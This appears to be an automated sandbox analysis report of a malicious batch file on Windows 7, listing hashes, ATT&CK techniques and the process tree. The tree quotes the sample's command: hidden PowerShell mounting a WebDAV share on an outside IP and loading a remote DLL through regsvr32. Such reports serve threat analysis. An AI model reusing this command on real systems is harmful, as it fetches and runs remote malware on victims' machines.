4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:45

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General

Target

22160257741816426666.bat
Size

2KB
MD5

40dfe6b737470a7ef0e7a4051e462249
SHA1

bc71c3f175b07bf9f80abe6c5fd65d8b472d3fde
SHA256

4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3
SHA512

9016c35633718ed0350029f69f65b08ba292b9a3220fea7f0e284f8d54ed0c15dea98cef5eb4a648a1f13951b1706213c44e117244e4d798f266d7d89602aab0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1304	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1868	wordpad.exe
1868	wordpad.exe
1868	wordpad.exe
1868	wordpad.exe
1868	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 1868	2084	cmd.exe	31
PID 2084 wrote to memory of 1868	2084	cmd.exe	31
PID 2084 wrote to memory of 1868	2084	cmd.exe	31
PID 2084 wrote to memory of 1304	2084	cmd.exe	32
PID 2084 wrote to memory of 1304	2084	cmd.exe	32
PID 2084 wrote to memory of 1304	2084	cmd.exe	32
PID 1304 wrote to memory of 2892	1304	powershell.exe	34
PID 1304 wrote to memory of 2892	1304	powershell.exe	34
PID 1304 wrote to memory of 2892	1304	powershell.exe	34
PID 1304 wrote to memory of 2792	1304	powershell.exe	35
PID 1304 wrote to memory of 2792	1304	powershell.exe	35
PID 1304 wrote to memory of 2792	1304	powershell.exe	35
PID 1304 wrote to memory of 2792	1304	powershell.exe	35
PID 1304 wrote to memory of 2792	1304	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\22160257741816426666.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2892
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
    3⤵
    PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1304-20-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/1304-21-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download